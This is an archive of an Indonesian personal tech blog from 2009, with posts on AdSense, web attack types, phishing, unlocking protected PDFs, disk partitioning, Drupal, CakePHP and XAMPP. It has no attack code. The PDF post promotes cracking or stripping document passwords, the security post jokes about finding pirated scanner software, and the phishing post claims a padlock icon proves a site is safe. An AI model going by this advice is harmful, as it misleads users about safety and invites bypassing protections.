Newsletter

Suka Dengan artikel Di blog Ini, Masukkan alamat Email Anda Di Bawah Ini Untuk berlangganan artikel Blog Ini GRATISS...!!

Enter your email address:

Delivered by FeedBurner

Followers

Popular posts

Banner Musuh

Photobucket
(SYMOI) gubuk blekenyek cooltext433177153
http://borneoblogger.com/
logo Paddi Blog

Your Banner Here. .!!

Archive for 2009

Apa Itu Blog Dan Google Adsense?

Sabtu, 19 Desember 2009
Posted by Fatkhan
-Blog adalah kependekan dari Weblog, istilah yang pertama kali digunakan oleh Jorn Barger pada bulan Desember 1997. Jorn Barger menggunakan istilah Weblog untuk menyebut kelompok website pribadi yang selalu diupdate secara kontinu dan berisi link-link ke website lain yang mereka anggap menarik disertai dengan komentar-komentar mereka sendiri.

Blog kemudian berkembang mencari bentuk sesuai dengan kemauan para pembuatnya atau para Blogger. Blog yang pada mulanya merupakan ''catatan perjalanan'' seseorang di internet, yaitu link ke website yang dikunjungi dan dianggap menarik, kemudian menjadi jauh lebih menarik daripada sebuah daftar link. Hal ini disebabkan karena para Blogger biasanya juga tidak lupa menyematkan komentar-komentar ''cerdas'' mereka, pendapat-pendapat pribadi dan bahkan mengekspresikan sarkasme mereka pada link yang mereka buat.

Dari komentar-komentar tadi biasanya Blog kemudian menjadi jendela yang memungkinkan kita ''mengintip'' isi kepala dan kehidupan sehari-hari dari penciptanya. Blog adalah cara mudah untuk mengenal kepribadian seseorang Blogger. Topik-topik apa yang dia sukai dan tidak dia sukai, apa yang dia pikirkan terhadap link-link yang dia pilih, apa tanggapannya pada suatu isu. Seluruhnya biasanya tergambar jelas dari Blog-nya. Karena itu Blog bersifat sangat personal.

-Google Adsense adalah salah satu program periklanan (advertising) yang dijalankan oleh Google (www.google.com) untuk mengiklankan produk barang/jasa dari pemasang iklan.

Di Google ada 2 program advertising, yaitu ADWORD dan ADSENSE.

Adword adalah program khusus untuk orang-orang yang ingin memasarkan produk barang atau jasa lewat website, yang kemudian disebut sebagai Advertiser.

Adsense adalah program khusus untuk orang-orang yang memiliki website/blog dan menginginkan pendapatan/pemasukan/earning dengan memberikan space/ruang iklan di halaman web/blog, selanjutnya di sebut sebagai publisher. Jadi iklan/ads yang muncul di web/blog publisher adsense adalah iklan dari orang-orang yang memasang iklan lewat program Adword.

Dalam hal ini Google hanya berperan sebagai perantara, dengan mengambil keuntungan sekian persen dari harga per-klik yang dibayar advertiser kepada publisher.

Publisher akan mendapatkan earning setiap kali iklan yang muncul di web/blog di klik oleh pengunjung web/blog/ Cost per Click (CPC). Earning yang didapat dalam 1 kali klik berbeda-beda dan tergantung dari banyak hal. Setelah diakumulasi jumlah earning yang didapat dalam 1 bulan mencapai $100 sebagai jumlah minimal, maka Google akan membayar publisher. Pembayaran dilakukan melalui transfer langsung ke rekening (untuk publisher di negara-negara tertentu), sedangkan untuk Indonesia, pembayaran dari Google masih dalam bentuk cek yang dikirim lewat post atau jasa kurir DHL.

Tentang Keamanan Suatu Website

Kamis, 17 Desember 2009
Posted by Fatkhan

HackerKeamanan suatu website atau web security systems merupakan salah satu prioritas yang sangat utama bagi seorang webmaster.
Tetapi kebanyakan para webmaster hanya mengutamakan design dan topik apa yang harus disediakan supaya menarik pengunjung sebanyak-banyaknya.
Padahal jika seorang webmaster mengabaikan keamanan suatu website, maka yang dirugikan adalah webmaster itu sendiri karena seorang hacker dapat mengambil data-data penting pada suatu website dan bahkan pula dapat mengacak-acak tampilan website(deface) tersebut.
Berikut adalah beberapa metode yang biasa sering digunakan para hacker untuk menyerang suatu website:

1. Remote File Inclusion (RFI)
Metode yang memanfaatkan kelemahan script PHP include(), include_once(), require(), require_once() yang variabel nya tidak dideklarasikan dengan sempurna.
Dengan RFI seorang attacker dapat menginclude kan file yang berada di luar server yang bersangkutan.
Anda bisa membaca secara lengkap tentang Remote File Inclusion di http://en.wikipedia.org/wiki/Remote_File_Inclusion

2. Local File Inclusion (LFI)
Metode yang memanfaatkan kelemahan script PHP include(), include_once(), require(), require_once() yang variabel nya tidak dideklarasikan dengan sempurna.
Dengan LFI seorang attacker dapat menginclude kan file yang berada di dalam server yang bersangkutan.

3. SQL injection
SQL injection adalah teknik yang memanfaatkan kesalahan penulisan query SQL pada suatu website sehingga seorang hacker bisa menginsert beberapa SQL statement ke ‘query’
dengan cara memanipulasi data input ke aplikasi tersebut.
Anda bisa membaca secara lengkap tentang SQL injection di http://en.wikipedia.org/wiki/SQL_injection

4. Cross Site Scripting (XSS)
XSS dikenal juga dengan CSS adalah singkatan dari Cross Site Scripting.
XSS adalah suatu metode memasukan code atau script HTML kedalam suatu website yang dijalankan melalui browser di client.
Anda bisa membaca secara lengkap tentang Cross Site Scripting di http://en.wikipedia.org/wiki/Cross-site_scripting

Ada pepatah internet mengatakan “Tidak ada hal yang paling aman di dunia internet“,
Memang pepatah itu benar, tetapi disini ada beberapa cara supaya website kita tidak mudah disusupi oleh para hacker, memang cara ini tidak 100% aman, tetapi dapat mengurangi resiko website kita dengan mudah di acak-acak oleh seorang hacker.

1. Jika anda menggunakan suatu CMS seperti joomla, phpbb, phpnuke, wordpress dan sebagainya, rajinlah mengupdate CMS anda dengan CMS terbaru jika muncul versi yang lebih baru.
2. Kunjungilah situs-situs yang membahas tentang keamanan aplikasi web seperti : www.milw0rm.com, www.securityfocus.com atau www.packetstormsecurity.org untuk mendapatkan informasi tentang bug terbaru.
3. Sewalah seorang yang ahli tentang keamanan website untuk menganalisis keamanan website anda.
4. Gunakanlah software seperti Acunetix untuk melakukan scanning atas kelemahan yang bisa terjadi di webdite anda, software tersebut bisa anda beli di www.acunetix.com dan jika anda beruntung mungkin anda bisa melakukan pencarian versi bajakannya di google.com ( maaf ini tidak dianjurkan :D).

Cara Sederhana Membuka Password Document PDF

Senin, 14 Desember 2009
Posted by Fatkhan
PDF protection

Terkadang ketika kita mendownload file PDF untuk suatu bahan tugas dan sebagainya, terdapat file PDF yang ter-protect dan membutuhkan pasword untuk membukanya. Hal ini tentu menyulitkan kita untuk dapat mengedit file PDF tersebut. Cara sederhana berikut ini mungkin dapat membantu kita.

PDF restriction
Justify Full
Pada dasarnya ada 2 tipe dari proteksi PDF, pembuat PDF yang asli bisa membatasi dalam membuka file PDF itu sendiri ataupun pembuat juga bisa membatasi dalam hal memodifikasi, melakukan printing, atau mengcopy teks dan gambar dari file PDF tersebut. Berikut merupakan hal yang mungkin dapat kita lakukan:


Ketika kita ingin meng-copy atau mencetak file yang dibatasi..

1. Katakanlah kita akan mencetak (nge-print) beberapa halaman dari document PDF namun document setting tidak memungkinkan kita melakukan itu.

Buka document dengan Acrobat Reader atau Foxit dan ambil atau capture halaman PDF tersebut sebagai gambar menggunakan software screen capture gratisan seperti FastStone Screen Capture.

Jika terdapat banyak halaman, kita mungkin perlu mencoba SnagIt karena aplikasi ini bisa melakukan autoscroll dan mengambil banyak halaman dari document PDF yang kita inginkan.

2. Jika kita ingin hanya meng-copy teks untuk halaman PDF, gunakan screen capture dengan fitur OCR (seperti capture text dan Structu Rise) yang memungkinkan kita mengambil teks saja.

Nah, jika ingin yang berbayar, kita bisa menggunakan jasa recovery password PDF seperti ElcomSoft dan penghapus PDF Password seperti Very PDF.

(Kemampuan ini mungkin tidak melakukan recovery password, namun hanya menghapus pembatas proteksi file.)


Jika pembatasan pada Pembuka File PDF

Hal ini mungkin membutuhkan trick khusus, yaitu menggunakan software dari ElcomSoft berupa Advanced PDF Password Recovery Professional edition. Ini merupakan software pencari kombinasi karakter yang tepat yang selanjutnya menunjukkan password proteksi. Jika password telah ditemukan, program ini akan menampilkannya.

Crack password PDF

Ini merupakan cara halal dan legal untuk dapat mengakses file PDF yang diproteksi. Jadi selamat mencob

Cara Mempartisi Hardisk

Posted by Fatkhan

Cara Mempartisi Hardisk atau membagi hardisk sangat mudah dilakukan. Hanya berbekalkan software Partition Magic anda sudah dapat mempartisi hardisk anda dengan mudah dan cepat. Tidak perlu repot – repot untuk install ulang Sistem Operasi.

Kelebihan Partisi hardisk adalah:

1. Membuat ruangan atau tempat penyimpanan baru

2. Bisa jadi lebih spesifik karna dapat memisahkan mana tempat untuk Sistem dan mana tempat untuk data anda

3. Jika anda melakukan penyimpanan data bukan di My Documents melainkan di hardisk2 lainnya, maksudnya local disc D / E , dan pada saat system anda terserang virus/corrupt, dan mengharuskan anda format atau install ulang, anda cukup menformat disc system atau biasanya local disc C, sehingga data anda masih terselamatkan.

4. dan masih banyak lagi hehe

hayo menarik bukan, baiklah ini Screen Shotnya cara mempartisi dengan partition magic,

1. Buka Program partition magic, jika belum diinstall download disini

2. Ini awalan hardisk saya, saya akan membuat satu partisi lagi

2

3. Setelah program dibuka, klik kanan salah satu hardisknya pilih Resize/Move ( contoh saya menklik local disc G ), geser tanda panahnya atau isi “Free Space After” sesuai ukuran keinginan anda, lalu klik OK.

3

4

5

4. Liat perbedaannya ruang kosong di sebelah pojok kanan, nah itu yang akan kita jadikan hardisk baru, klik kanan ruang kosong nya, klik create, tidak usah berlama – lama langsung saja klik OK. Lalu Klik Apply, klik OK, tunggu prosesnya.

6

7

8

5. Setelah selesai coba liat partisi baru sudah jadi.

9

Untuk membuat partisi dengn partition magic banyak caranya, saya hanya mengambil cara yang termudah. -_^

Download Partition Magic 8.0

Sekilas Tentang Phishing dan Pencegahannya

Jumat, 11 Desember 2009
Posted by Fatkhan
Sesuai dengan namanya, phishing merupakan plesetan dari kata fishing, yang merupakan sebuah teknik curang untuk mengelabui seseorang untuk memberikan informasi pribadinya. Informasi pribadi ini berkaitan dengan account seseorang pada bank atau layanan umum. Ketika sang pelaku phishing memeroleh informasi pribadi ini, maka otomatis ia akan memiliki akses penuh layaknya pemilik sebenarnya atas layanan-layanan tersebut.

Teknik phishing bisa dilakukan dengan cara membuat halaman palsu dari sebuah layanan terkenal. Ambillah contoh layanan KlikBCA yang memungkinkan seorang nasabah BCA melakukan transaksi keuangan online. Dengan membuat sebuah website palsu yang tampilannya dibuat semirip mungkin dengan website aslinya, maka ia akan bisa mendapatkan informasi login seseorang yang masuk pada website tersebut. Nama domain juga dipalsukan dengan menambahkan satu atau dua karakter khusus. Maka, orang yang tidak jeli akan tidak bisa membedakan www.klikbca.com dengan www.klik-bca.com.

Kenapa bisa? Nah, kalau kita mau login, biasanya kita memasukkan username berikut password pada halaman login KlikBCA. Jika kita melakukannya pada website yang benar, maka kita akan langsung menemukan halaman dashboard di mana kita bisa melakukan berbagai transaksi online. Namun, jika kita memasukkan informasi login tersebut pada sebuah website phishing, alih-alih data kita diproses untuk masuk ke halaman dashboard, ia akan langsung dikirimkan kepada sang pemilik website palsu. Matilah kita!

Biasanya sang penipu mengirimkan sebuah e-mail palsu yang memberitahukaan bahwa account seseorang tersebut sedang dalam perbaikan dan memerlukan verifikasi. Sang penipu akan menyertakan sebuah link yang menuju ke halaman login bank (yang palsu) untuk kemudian melakukan verifikasi.

Lalu pencegahannya aksi phishing ini seperti apa? Sonny memberikan poin-poinnya seperti berikut:

  1. Jangan langsung membalas e-mail yang berasal dari insitusi keuangan, sebelum itu coba hubungi dulu pihak bank anda untuk memastikan kebenaran e-mail tersebut.
  2. Perhatikan kesalahan ketik atau tata bahasa yang kurang tepat pada pesan e-mail yang telah dikirimkan.
  3. Cermati simbol @ pada alamat website yang tertera pada pesan e-mail. Bisa jadi alamat website tersebut bertuliskan: www.citibank.com@www.hackersite.com. Browser tidak akan memproses semua tulisan sebelum simbol “@”. Jadi, pencuri bisa saja meletakkan alamat website pribadinya setelah simbol “@”. Website tersebutlah yang akan anda kunjungi, untuk itu sebaiknya selalu perhatikan alamat website yang tertera pada link.
  4. Biasanya beberapa karakter dalam alamat website bank bisa diganti dengan karakter yang hampir sama. Sebagai contoh, huruf L diganti dengan angka “1?. Kedua karakter ini sekilas terlihat sama. Website www.paypal.com mungkin bisa diubah menjadi paypa1.com dan anda mungkin tidak menyadari perbedaan ini.
  5. Saat website bank ditampilkan, perhatikan icon gembok yang berda di bagian bawah browser Website. Jika ada, berarti website tersebut aman. Jika icon gembok tidak ada, segera tutup browser tersebut.

Fakta tentang Windows 7 Beta yang Wajib Anda Ketahui

Posted by Fatkhan

Microsoft memang masih berbaik hati dengan memberikan tambahan waktu sampai tanggal 10 Februari 2009 nanti untuk anda bisa mendownload Windows 7 Beta. Semua ini dilakukan karena begitu tingginya minat orang untuk mendownload dan mencoba Windows Seven Beta ini, salah satu diantaranya mungkin adalah Anda yang tak sabar ingin mencicipi kinerja dan performance dari Windows 7 Beta.

Tapi, sebelum anda mendownload dan kemudian menginstal Windows 7 Beta di Komputer anda, ada baiknya anda ketahui dulu fakta menarik tentang Windows 7 Beta ini.

Windows 7 Beta Ibarat Bom Waktu

Yups… bila anda mendownload Windows 7 Beta dari situs resmi Microsoft (bukan versi bajakan), maka bersiap-siaplah anda menghadapi bom waktu yang akan ‘meledak’ pada tanggal 1 Agustus 2009, ini artinya bahwa Windows 7 Beta anda akan berhenti bekerja alias tidak bisa dioperasikan lagi setelah tanggal 1 Agustus 2009. Jika anda menganggap bahwa Windows 7 Beta ini bisa dipakai selama-lamanya, maka anda sudah keliru karena Microsoft menegaskan bahwa Windows 7 Beta ini hanya berlisensi, tidak dijual. Yang berarti bahwa anda hanya diberi sebagian hak (tidak secara utuh & penuh) untuk menggunakan Windows 7 Beta ini.

Windows 7 Beta adalah Produk Uji Coba

Dari namanya saja sudah tertera jelas Windows 7 Beta. Versi Beta diperuntukkan untuk menguji coba software tersebut dan mendapatkan masukan-masukan yang diperlukan untuk perbaikan dan penyempurnaan sebelum versi Final direlease. Ini artinya bila di dalam Windows 7 Beta terdapat banyak bug dan kekurangan, bisa jadi versi Final dari Windows 7 akan jauh berbeda dengan Windows 7 Beta.

Data Anda secara default akan dikirim ke Microsoft

Ketika anda memakai Windows Seven Beta dengan koneksi internet aktif, maka secara default Windows 7 Beta akan mengirimkan informasi dan data tentang komputer anda. Mulai dari informasi hardware yang anda gunakan, browser yang anda pakai, sampai regional dan language setting dll. Tujuannya tidak lain adalah untuk perbaikan dan penyempurnaan Windows 7 Beta sebelum versi final direlease. Meskipun Microsoft mengatakan bahwa data anda aman dan tidak akan disebarkan ke pihak lain, sebaiknya Anda selalu berhati-hati.

Tentang Drupal

Posted by Fatkhan

Drupal adalah paket software 'free' (dalam arti 'gratis', juga dalam arti 'bebas') yang bisa digunakan oleh umum untuk mempublikasi, mengelola dan mengatur dengan mudah berbagai jenis konten yang diinginkan. Puluhan ribu orang dan organisasi menggunakan pada beragam jenis situs, di antaranya:

  • Portal komunitas
  • Forum diskusi
  • Situs perusahaan
  • Aplikasi intranet
  • Blog atau situs pribadi
  • Aplikasi e-commerce
  • Direktori
  • Situs jejaring sosial

Drupal bisa langsung digunakan begitu anda selesai mengunduhnya, yang bahkan dengan mudah bisa memasangnya pada situs anda dengan instalasi otomatis. Fungsionalitas bawaan standarnya digabung dengan puluhan modul tambahan yang tersedia gratis, akan memudahkan anda membangun situs atau menambahkan fitur:

  • Sistem Pengelolaan Konten (CMS, content management system)
  • Blog
  • Lingkungan penulisan kolaboratif
  • Forum
  • Jaringan Peer-to-peer
  • Newsletter
  • Podcasting
  • Galeri foto/gambar
  • Unduh dan unggah berkas (file uploads and downloads)
  • dan banyak yang lainnya...

Drupal adalah software open-source yang didistribusikan dengan lisensi GPL ("GNU General Public License"). Diasuh dan dikembangkan oleh ribuan pengguna dan pengembang yang tergabung dalam komunitas Drupal.needs.

12 Langkah Menjadi Seorang Web Developer

Posted by Fatkhan


Tentu anda sudah mengenal apa web itu. Namun mungkin ada yang belum mengerti bagaimana sih membuat web tersebut. Apa yang harus dipelajari untuk menjadi web developer, dan bagaimana untuk hidup dari profesi web developer. Saya mencoba membuat daftar langkah-langkah yang dapat anda tempuh untuk menjadi seorang web developer berdasarkan pengalaman saya sebagai web developer. Semoga daftar ini dapat membantu anda untuk memulai karir sebagai web developer. Tidak panjang lebar inilah langkah-langkah menjadi seorang web developer:

1.Belajar bahasa pemrograman web, untuk memulainya tentu anda harus menguasai bahasa pemrograman web. Dan bahasa yang dikuasai tidak cukup 1 bahasa pemrograman saja karena web dibangun diatas beberapa faktor pendukung. Bahasa yang sebaiknya anda pelajari untuk menjadi web developer adalah:
* HTML, merupakan bahasa pemrograman web paling dasar dan mutlak harus dikuasai. HTML adalah bahasa untuk menciptakan tampilan web yang anda lihat di browser. HTML membangun struktur tampilan web seperti header, content, footer, menu, dan sebagainya. Namun untuk menciptakan tampilan yang lebih baik tidak cukup dengan HTML saja masih diperlukan bahasa lain untuk menciptakan tampilan yang lebih baik.
* CSS, inilah bahasa pelengkap HTML. Tanpa CSS kita tak akan dapat menciptakan tampilan yang indah. CSS adalah bahasa yang mengatur layout dan tampilan dari web tersebut misalnya warna background, tulisan, font, ukuran, dan sebagainya. Dengan kombinasi HTML dan CSS maka kita dapat menciptakan tampilan yang baik dan indah.
* Bahasa scripting web misalnya PHP, ASP, ColdFusion, Python, dan lainnya. Bahasa pemrograman ini adalah bahasa yang akan kita gunakan untuk membangun aplikasi web. Kalau tadi HTML dan CSS merupakan pembangun tampilan dari web tersebut maka bahasa scripting ini adalah pengontrol logika aplikasi web. Bahasa ini menghubungkan aplikasi web kita dengan database dan mengolah input output dari aplikasi kita. Sebaiknya anda memilih salah satu bahasa untuk didalami. Saya menyarankan menggunakan PHP karena bahasa inilah yang paling banyak digunakan untuk membuat aplikasi web. Dengan sifatnya yang terbuka dan bebas biaya maka kita dengan mudah mempelajari dan membuat aplikasi web dengan mudah. Kelengkapan dokumentasi dan tutorial PHP juga sangat banyak sehingga anda tidak akan kesulitan mempelajari bahasa yang satu ini.
* SQL, merupakan bahasa scripting database. Database adalah aplikasi pengolah data yang menyimpan data untuk digunakan bersama aplikasi web kita. Database ada bermacam-macam misalnya MySQL, SQLite, Oracle, PostgreSQL, SQL Server, dan database lainnya. Sangat disarankan untuk memilih salah satu untuk didalami. Walaupun SQL merupakan standar bahasa scripting database namun dengan mempelajari salah satu scripting database yang ada maka kita akan dimudahkan dalam menyimpan, mengelola, dan memberikan output data dengan tersedianya fungsi-fungsi yang akan membantu anda bekerja dengan database.
* Javascript, bahasa scripting yang berjalan di browser. Bahasa ini tidak mutlak dipelajari, namun kalau anda ingin membuat web dengan efek animasi, dan web yang lebih interaktif maka javascript akan membantu anda. Dibandingkan dengan flash untuk membuat efek tertentu, saya lebih memilih Javascript. Kenapa, karena Flash masih memerlukan installasi plugin sedangkan Javascript sudah didukung secara default oleh browser modern.

2. Pelajari teknik penyelesaian kasus-kasus pemrograman web. Misalnya bagaimana pemrograman yang berhubungan dengan tanggal, bagaimana menghubungkan web dengan aplikasi lainnya, bagaimana mengakses database, dan beragam teknik lainnya. Dengan mengetahui teknik pemrograman dan penyelesaian kasus-kasus pemrograman web maka anda dapat lebih efektif dalam pemrograman aplikasi web anda.

3. Pelajari metode pengembangan web yang baik. Ada banyak metode pengembangan seperti RUP, Agile, dan USDP tapi pada dasarnya mengfokuskan pada analisa, perancangan, pengembangan, dan pengujian. Lakukan pengembangan aplikasi dengan tahapan-tahapan diatas. Lakukan analisa apa yang diperlukan oleh aplikasi ini, kemudian rancang terlebih dahulu aplikasi anda sebelum melakukan coding, lakukan pengembangan atau coding, dan uji coba terlebih dahulu sebelum dirilis atau didelivery. Anda dapat kembali ketahap sebelumnya bila diperlukan. Yang penting, tentukan sendiri metode yang paling baik seusai dengan diri anda.

4. Belajar mengolah gambar. Buat apa? Karena dengan gambar maka kita dapat memberikan informasi lebih cepat dan efektif dibandingkan dengan mendeskripsikan dalam text yang panjang. Cukup pelajari Adobe Photoshop atau Adobe Firework yang merupakan software paling umum untuk keperluan gambar web. Pelajari bagaimana membuat gambar seperti icon, background, patern, dan gambar lainnya. Sebenarnya bukan merupakan keharusan karena untuk menciptakan gambar untuk tampilan web karena hal ini lebih cenderung merupakan pekerjaan web designer. Namun bila anda bs membuat gambar untuk web maka akan lebih membantu dibandingkan anda harus meminta tolong teman anda untuk keperluan gambar web anda.

5. Gunakan framework, framework merupakan sekumpulan fungsi dan library yang dapat memudahkan pemrograman anda. Gunakan framework sesuai dengan bahasa pemrograman anda. Misalnya ASP menggunakan .NET Framework. Ruby dengan Rails Framework, Python dengan Django Framework, dan PHP yang lebih banyak lagi seperti Prado, Symfony, CakePHP, dan framework lainnya. Lakukan riset dan tentukan pilihan anda framework mana yang akan anda gunakan dan dalami framework tersebut. Jangan terlalu banyak berpindah-pindah framework karena anda tidak akan memperoleh manfaat maksimal karena pemahaman yang terpecah-pecah. Jadi tentukan framework pilihan anda sesuai minat, dan teknik yang anda senangi.

6. Pelajari teknik-teknik mengoptimalkan aplikasi anda. Agar aplikasi anda dapat berjalan lebih cepat dan responsif maka anda harus dapat melakukan tuning atau optimalisasi. Pelajari teknik pemrograman web yang baik, pemecahan masalah programming yang efektif, tuning dan optimalisasi database, serta optimasi web server.

7. Pelajari web server, akan sangat bermanfaat bila anda mempelajari web server agar anda dapat mengetahui bagaimana menjalankan aplikasi anda di web server. Atau bagaimana cara mengoptimalkan aplikasi di web server. Misalnya penggunaan module caching seperti APC, eAccelerator, dan sebagainya. Atau penggunaan file .htaccess untuk menciptakan friendly URL atau URL yang lebih enak dibaca. Dengan mempelajari web server maka anda dapat mengoptimalkan dan menambahkan feature aplikasi anda di server.

8. Pelajari penggunaan control panel hosting. Karena anda akan banyak berhubungan dengan control panel bila anda menyewa hosting untuk web anda. Control panel yang banyak digunakan antara lain Cpanel, Pleks, ISPConfig, dan sebagainya. Dengan memahami penggunaan control panel maka anda dapat mengoptimalkan aplikasi anda di provider hosting anda.

9. Ikuti perkembangan teknologi web terbaru. Teknologi web selalu berkembang misalnya munculnya teknologi RSS, PODCasting, dan teknologi lainnya. Pelajari bagaimana membuat dan menggunakan teknologi tersebut di aplikasi anda. Karena aplikasi yang ketinggalan jaman akan ditinggalkan penggunanya juga.

10. Pelajari manajemen proyek. Suatu pengembangan aplikasi merupakan suatu proyek yang harus di atur, direncanakan, dan dilakukan dengan baik. Dengan mempelajari manajemen proyek maka anda dapat melakukan kolaborasi dengan yang lain dalam mengembangkan aplikasi. Anda juga dapat memperoleh efektifitas dan efisiensi waktu dalam menyelesaikan suatu proyek.

11. Untuk meningkatkan kemampuan anda, selalu asah kemampuan anda dengan mengerjakan aplikasi web. Entah pekerjaan, atau proyek pribadi. Karena makin banyak aplikasi yang anda buat maka kemampuan anda akan makin baik. Kembangkan ide anda dan realisasikan menjadi suatu aplikasi.

12. Yang terakhir, jangan mau selalu menjadi web developer yang hanya mengerjakan proyek orang lain. Anda harus membuat suatu aplikasi yang dapat dijadikan produk atau layanan anda sebagai wujud kemampuan anda. Produk dan layanan ini dapat anda jual sehingga anda dapat memperoleh hasil dari kemampuan anda dan menikmati hasilnya. Dibandingkan dengan mengerjakan proyek orang lain secara terus-terusan dan dibayar per-proyek tentu akan lebih baik bila anda mengerjakan 1 produk namun anda memperoleh hasil terus-terusan dengan syarat produk anda memiliki nilai jual yang baik.

Itulah langkah-langkah dasar untuk menjadi seorang web developer menurut pengalaman saya. Langkah diatas tidaklah cukup, hanya langkah dasar saja. Semoga daftar diatas dapat menjadi pembimbing anda dan bahkan dapat menjadikan anda web developer yang lebih baik lagi. Anda harus terus belajar dan berlatih terus serta selalu menerima perkembangan yang ada agar kemampuan anda terus terasah.

Cake Php

Posted by Fatkhan

cake-php-logo

CakePHP adalah sebuah framework open source yang digunakan untuk mengembangkan
aplikasi web dengan dasar kerja CRUD (Create, Read, Update, Delete). CakePHP juga
menjadi salah satu framework pilihan yang memungkinkan developer untuk membuat
sebuah aplikasi web dengan karakter pengembangan RAD (Rapid Application

Development), yang memungkinkan untuk digunakan dan dikembangkan menjadi
aplikasi lain yang lebih kompleks. CakePHP terdiri dari file-file pustaka (library), kelas-kelas,
dan infrastruktur run-time yang terinspirasi oleh framework Ruby on Rails. CakePHP juga
banyak digunakan oleh para programmer yang memilih untuk bekerja dengan struktur
yang rapi dan padat tanpa kehilangan fleksibilitas pengembangan framework.
CakePHP Framework ! Strategi Cepat Pengembangan Aplikasi Web

Pada tahun 2005, Michal Tatarynowicz mulai menulis beberapa kelas untuk sebuah dasar
aplikasi RAD dengan menggunakan bahasa pemrograman PHP. Ia menyadari bahwa
beberapa kelas yang ia ciptakan sangat memungkinkan untuk dikembangkan menjadi
sebuah framework yang lebih lengkap dan praktis. Akhirnya, Michal mempublikasikan hasil
kerjanya di bawah lisensi MIT Amerika Serikat, menamainya dengan Cake dan
menawarkan pengembangannya pada komunitas developer PHP dan saat ini proyek
tersebut dikenal dengan nama CakePHP.

CakePHP bersifat terbuka, bebas didapatkan, dan bebas dikembangkan. Komunitas
pengembang CakePHP mengajak seluruh programmer PHP untuk bergabung dalam Cake
Software Foundation Inc. yang membawahi proyek pengembangan CakePHP dan aplikasi
berbasis CakePHP. Informasi tentang CakePHP bisa didapatkan pada situs resmi Cake
Software Foundation di website http://www.cakephp.org
Selain website resmi, para pengembang CakePHP juga biasa berdiskusi dengan
menggunakan IRC (Internet Relay Chat). Di sini Anda bisa berjumpa dengan banyak
Bakers, sebutan untuk mereka yang menjadi developer CakePHP. Forum diskusi CakePHP
ini bisa dikunjungi di channel #cakephp pada server irc.freenode.com.

Tentang CMS

Posted by Fatkhan

Bagi anda yang baru mengenal dunia website, kali ini saya akan mengajak anda untuk belajar bersama dari awal tentang apa dan bagaimana cara membuat website yang efektif. Tentunya karena saya bukan seorang pakar komputer, apalagi webmaster, maka tulisan yang ada pun saya ambil dari berbagai sumber supaya lebih ‘mengena’.

Sebagai langkah awal kita perlu mengenal dahulu tentang istilah Content Management System. Apakah ia sama dengan software HTML editor lainnya seperti Microsoft FrontPage, Dreamweaver, atau bahkan sebuah Notepad?…

CMS (Content Management System) adalah Sebuah sistem yang memberikan kemudahan kepada para penggunanya dalam mengelola dan mengadakan perubahan isi sebuah website dinamis tanpa sebelumnya dibekali pengetahuan tentang hal-hal yang bersifat teknis. Dengan demikian, setiap orang, penulis maupun editor, setiap saat dapat menggunakannya secara leluasa untuk membuat,menghapus atau bahkan memperbaharui isi website tanpa campur tangan langsung dari pihak webmaster.

Umumnya, sebuah CMS (Content Management System) terdiri dari dua elemen:

  • Aplikasi manajemen isi (Content Management Application, [CMA])
  • Aplikasi pengiriman isi (content delivery application [CDA]).

Elemen CMA memperbolehkan si manajer isi -yang mungkin tidak memiliki pengetahuan mengenai HTML (HyperText Markup Language)-, untuk memenej pembuatan, modifikasi, dan penghapusan isi dari suatu situs Web tanpa perlu memiliki keahlian sebagai seorang Webmaster. Elemen CDA menggunakan dan menghimpun informasi-informasi yang sebelumnya telah ditambah, dikurangi atau diubah oleh si empunya situs web untuk meng-update atau memperbaharui situs Web tersebut. Kemampuan atau fitur dari sebuah sistem CMS berbeda-beda, walaupun begitu, kebanyakan dari software ini memiliki fitur publikasi berbasis Web, manajemen format, kontrol revisi, pembuatan index, pencarian, dan pengarsipan.

Karena CMS memisahkan antara isi dan desain, konsistensi tampilan dapat senantiasa dijaga dengan baik.Setiap bagian dari website dapat memiliki isi dan tampilan yang berbeda-beda, tanpa harus khawatir kehilangan identitas dari website secara keseluruhan. Oleh karena semua data disimpan dalam satu tempat,pemanfaatan kembali dari informasi yang ada untuk berbagai keperluan dapat dengan mudah dilakukan. CMS juga memberikan kefleksibelen dalam mengatur alur kerja atau ‘workflow’ dan hak akses, sehingga memperbesar kesempatan berpartisipasi dari pengguna dalam pengembangan website. Hal ini akan sangat menguntungkan bila website yang dikelola memiliki kompleksitas yang tinggi dan mengalami kemajuan yang cukup pesat.

Manfaat CMS

  1. Manajemen data
  2. Mengatur siklus hidup website
  3. Mendukung web templating dan standarisasi
  4. Personalisasi website
  5. Sindikasi

Pemanfaatan CMS
CMS pada prinsipnya dapat dipergunakan untuk berbagai macam keperluan dan dalam berbagai kondisi, seperti untuk:

  1. Mengelola website pribadi.
  2. Mengelola website perusahaan/bisnis.
  3. Portal atau website komunitas.
  4. Galeri foto, dan lain sebagainya.
  5. Forum.
  6. Aplikasi E-Commerce.
  7. Dan lain-lain

XAMPP

Posted by Fatkhan

Bagi para web developer yang lebih sering bekerja di lingkungan sistem operasi windows, tentu masih ingat dengan Phptriad. Pada waktu itu Phptriad adalah aplikasi yang membundel apache, mysql dan PHP menjadi satu kesatuan dalam file installer. Instalasinya yang sangat mudah membuat kerja web developer tidak kesulitan untuk menginstall apache dan mysql dari awal. Sayang sekali project phptriad ini yang dulunya adalah project open source discontinued dan berganti baju menjadi project komersial.

Pada dasarnya Phptriad hanyalah memaketkan aplikasi-aplikasi web developer yang selama ini sering digunakan dalam lingkungan sistem operasi Linux. LAMP yang sudah bertahun-tahun menjadi andalan bagi web developer dalam sistem operasi linux ternyata juga bisa diimplementasikan dalam sistem operasi windows. Ini artinya pasar bagi Apache, Mysql dan PHP sudah mulai merambah ke sistem operasi selain linux.

Kesempatan itu tentunya tidak disia-siakan oleh pengembang lainnya. Bundel 3 aplikasi (apache, mysql dan PHP) mulai bertebaran setelah Phptriad muncul. Beberapa yang sempat tercatat dan saya ketahui antara lain FoxServ, WinLamp dan Xampp.

Dari tiga alternatif Winlamp, FoxServ dan Xampp saya telah mencoba dua terakhir, namun saya pribadi lebih tertarik untuk membicarakan Xampp. Seperti Phptriad, Xampp mengikuti kemudahan instalasi dan konfigurasi seperti yang dimiliki oleh Phptriad. Ketika tulisan ini dibuat Xampp sudah mencapai versi 1.4.12 Beberapa fitur yang ada pada Xampp adalah seperti yang ada di bawah ini :

  • Apache 2.0.53
  • MySQL 4.1.10
  • PHP 5.0.3 + PHP 4.3.10 + PEAR
  • eAccelerator 0.9.2a
  • PHP-Switch win32 1.0 (please use the “PHP-switch.bat”)
  • XAMPP Control Version 1.0 from www.nat32.com
